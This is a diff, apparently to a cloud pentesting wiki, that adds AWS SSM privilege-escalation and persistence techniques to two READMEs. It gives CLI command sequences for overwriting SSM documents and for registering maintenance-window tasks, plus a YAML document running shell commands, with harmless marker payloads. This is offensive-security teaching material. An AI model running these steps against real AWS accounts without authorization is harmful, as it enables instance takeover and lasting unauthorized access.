Adding 2 additional SSM PrivEsc and Persistence Paths

Author: Local-Guy-123

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -27,6 +27,62 @@ aws ssm create-association \
 > [!NOTE]
 > This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
 
+
+### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
+
+An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
+
+```bash
+aws ssm list-documents
+aws ssm get-document --name "target-document" --document-format YAML
+# You will need to specify the version you're updating
+aws ssm update-document \
+  --name "target-document" \
+  --document-format YAML \
+  --content "file://doc.yaml" \
+  --document-version 1
+aws ssm update-document-default-version --name "target-document" --document-version 2
+```
+
+Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
+
+```yaml
+schemaVersion: '2.2'
+description: Execute commands on a Linux instance.
+parameters:
+  commands:
+    type: StringList
+    description: "The commands to run."
+    displayType: textarea
+mainSteps:
+  - action: aws:runShellScript
+    name: runCommands
+    inputs:
+      runCommand: 
+        - "id > /tmp/pwn_test.txt"
+```
+
+### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
+
+An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.
+
+``` bash
+aws ec2 describe-instances
+aws ssm describe-maintenance-window
+aws ssm register-target-with-maintenance-window \
+  --window-id "<mw-id>" \
+  --resource-type "INSTANCE" \
+  --targets "Key=InstanceIds,Values=<instance_id>"
+aws ssm register-task-with-maintenance-window \
+  --window-id "<mw-id>" \
+  --task-arn "AWS-RunShellScript" \
+  --task-type "RUN_COMMAND" \
+  --targets "Key=WindowTargetIds,Values=<target_id>" \
+  --task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
+  --max-concurrency 50 \
+  --max-errors 100
+```
+
 {{#include ../../../../banners/hacktricks-training.md}}
 
 

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md

@@ -138,6 +138,61 @@ aws ssm create-association \
 > [!NOTE]
 > This persistence method works as long as the EC2 instance is managed by Systems Manager, the SSM agent is running, and the attacker has permission to create associations. It does not require interactive sessions or explicit ssm:SendCommand permissions. **Important:** The `--schedule-expression` parameter (e.g., `rate(30 minutes)`) must respect AWS's minimum interval of 30 minutes. For immediate or one-time execution, omit `--schedule-expression` entirely — the association will execute once after creation.
 
+### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
+
+An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
+
+```bash
+aws ssm list-documents
+aws ssm get-document --name "target-document" --document-format YAML
+# You will need to specify the version you're updating
+aws ssm update-document \
+  --name "target-document" \
+  --document-format YAML \
+  --content "file://doc.yaml" \
+  --document-version 1
+aws ssm update-document-default-version --name "target-document" --document-version 2
+```
+
+Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
+
+```yaml
+schemaVersion: '2.2'
+description: Execute commands on a Linux instance.
+parameters:
+  commands:
+    type: StringList
+    description: "The commands to run."
+    displayType: textarea
+mainSteps:
+  - action: aws:runShellScript
+    name: runCommands
+    inputs:
+      runCommand: 
+        - "id > /tmp/pwn_test.txt"
+```
+
+### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
+
+An attacker with the permissions **`ssm:RegisterTaskWithMaintenanceWindow`** and **`ssm:RegisterTargetWithMaintenanceWindow`** can escalate privileges by first registering a new target with an existing maintenance window and then updating registering a new task. This achieves execution on the existing targets, but can allow an attacker to compromise compute with different roles by register new targets. This also allows for persistence as maintenance windows tasks are executed on a pre-defined interval during the window creation. Practically the attacker would also need **`ssm:DescribeMaintenanceWindows`** to get the maintenance window IDs.
+
+``` bash
+aws ec2 describe-instances
+aws ssm describe-maintenance-window
+aws ssm register-target-with-maintenance-window \
+  --window-id "<mw-id>" \
+  --resource-type "INSTANCE" \
+  --targets "Key=InstanceIds,Values=<instance_id>"
+aws ssm register-task-with-maintenance-window \
+  --window-id "<mw-id>" \
+  --task-arn "AWS-RunShellScript" \
+  --task-type "RUN_COMMAND" \
+  --targets "Key=WindowTargetIds,Values=<target_id>" \
+  --task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
+  --max-concurrency 50 \
+  --max-errors 100
+```
+
 ### Codebuild
 
 You can also use SSM to get inside a codebuild project being built: